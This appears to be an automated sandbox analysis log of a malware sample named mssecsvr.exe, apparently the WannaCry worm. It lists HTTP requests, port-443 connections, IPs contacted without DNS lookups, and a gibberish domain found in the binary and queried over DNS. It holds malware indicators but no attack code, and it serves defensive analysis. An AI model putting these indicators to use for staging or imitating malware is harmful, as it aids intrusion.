Source: global traffic	HTTP traffic detected: GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-0ba9c0d9a24e?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.19460.9007199266243744.1d2d3767-9bde-47ad-95c6-81ccd5714dd0.304469a1-c8b6-4cdc-aa11-eaa96e2fdfd6?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-8e079298b84b?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-2d6e6b2ff76c?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-8a1db0a7ac9d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.31660.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.9cf7ca2f-497e-4cb1-be08-431c9fcc4d54?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5075.9007199266244427.c75d2ced-a383-40dc-babd-1ad2ceb13c86.f329a73d-1ae8-4445-aa4c-bf40f3c5d62d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-9abd8bc2c1f3?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-95ba7990754d?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.56668.13510798883386282.38bb6176-27af-4000-85dd-12a4c12514f2.a2d9522a-f7d1-4f21-9ea4-8ba298101695?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.5845.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.477c821a-ca1f-4c68-937c-677b2841df44?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.54562.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.24af4abe-62f8-404b-b1a9-ee8fe4d32d94?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.59367.13510798885854323.dbec43fa-fcea-4036-9b1c-96de66922c18.da850a8e-5b3f-49fd-b3dc-6a8c0db400e4?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.62687.13510798885854323.6a8c11ad-84e9-4247-9ba9-ab3742bdbb87.e61dfadd-3bdd-4f66-beb1-6bb763b60b02?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.64125.13510798886747090.492cc081-9f95-48fd-b532-eba9c10ac577.9bc20b6e-b23e-440d-a57d-43a19d3c51a5?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.65344.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.2a7e9f85-6e2d-4bc7-ad81-13196f5baf00?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /image/apps.7873.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.7885dc21-4015-4284-a596-d3d24cf6c1b8?format=source HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: store-images.s-microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWHdvu?ver=c96d HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RWHt6Y?ver=1a17 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4Pjc1?ver=a739 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE4PtWe?ver=aadd HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE50Aay?ver=cbae HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cms/api/am/imageFileData/RE50sf3?ver=7819 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134Host: img-prod-cms-rt-microsoft-com.akamaized.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com
Source: global traffic	HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: /User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4683Host: login.live.com

Source: unknown

Network traffic detected: IP country count 17

Source: unknown

DNS traffic detected: query: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com replaycode: Server failure (2)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50215
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 52114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 53457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53444
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 52624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53446
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50213
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53172
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50251 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50185
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53457
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 50730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 51501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50914
Source: unknown	Network traffic detected: HTTP traffic on port 52622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53075
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51458
Source: unknown	Network traffic detected: HTTP traffic on port 52900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51452
Source: unknown	Network traffic detected: HTTP traffic on port 51458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53510
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50760
Source: unknown	Network traffic detected: HTTP traffic on port 51504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50640
Source: unknown	Network traffic detected: HTTP traffic on port 50348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 50640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51503
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52958
Source: unknown	Network traffic detected: HTTP traffic on port 53075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50374
Source: unknown	Network traffic detected: HTTP traffic on port 51503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50533
Source: unknown	Network traffic detected: HTTP traffic on port 50760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50253 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50669
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 50914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 52958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 51806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53137
Source: unknown	Network traffic detected: HTTP traffic on port 51452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58156
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54230
Source: unknown	Network traffic detected: HTTP traffic on port 50533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 53172 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50329 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 50701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51003
Source: unknown	Network traffic detected: HTTP traffic on port 64855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51499 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52624
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52900
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50728
Source: unknown	Network traffic detected: HTTP traffic on port 52621 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51499
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64727
Source: unknown	Network traffic detected: HTTP traffic on port 54416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64726
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50669 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867

Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.40.136.238
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.132
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 140.114.143.168
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115
Source: unknown	TCP traffic detected without corresponding DNS query: 23.211.6.115

Source: mssecsvr.exe.3.dr	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
Source: mssecsvr.exe, 00000005.00000002.382688706.0000000000B24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com/
Source: mssecsvr.exe, 00000008.00000002.972243100.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.comJ

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: unknown

DNS traffic detected: queries for: www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com

Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T020624Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=a92b0b3db04a476f86802d5e0d9113db&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611721&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1611721&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6Cache-Control: no-cacheMS-CV: HWwVH4udkkOtntHq.0User-Agent: 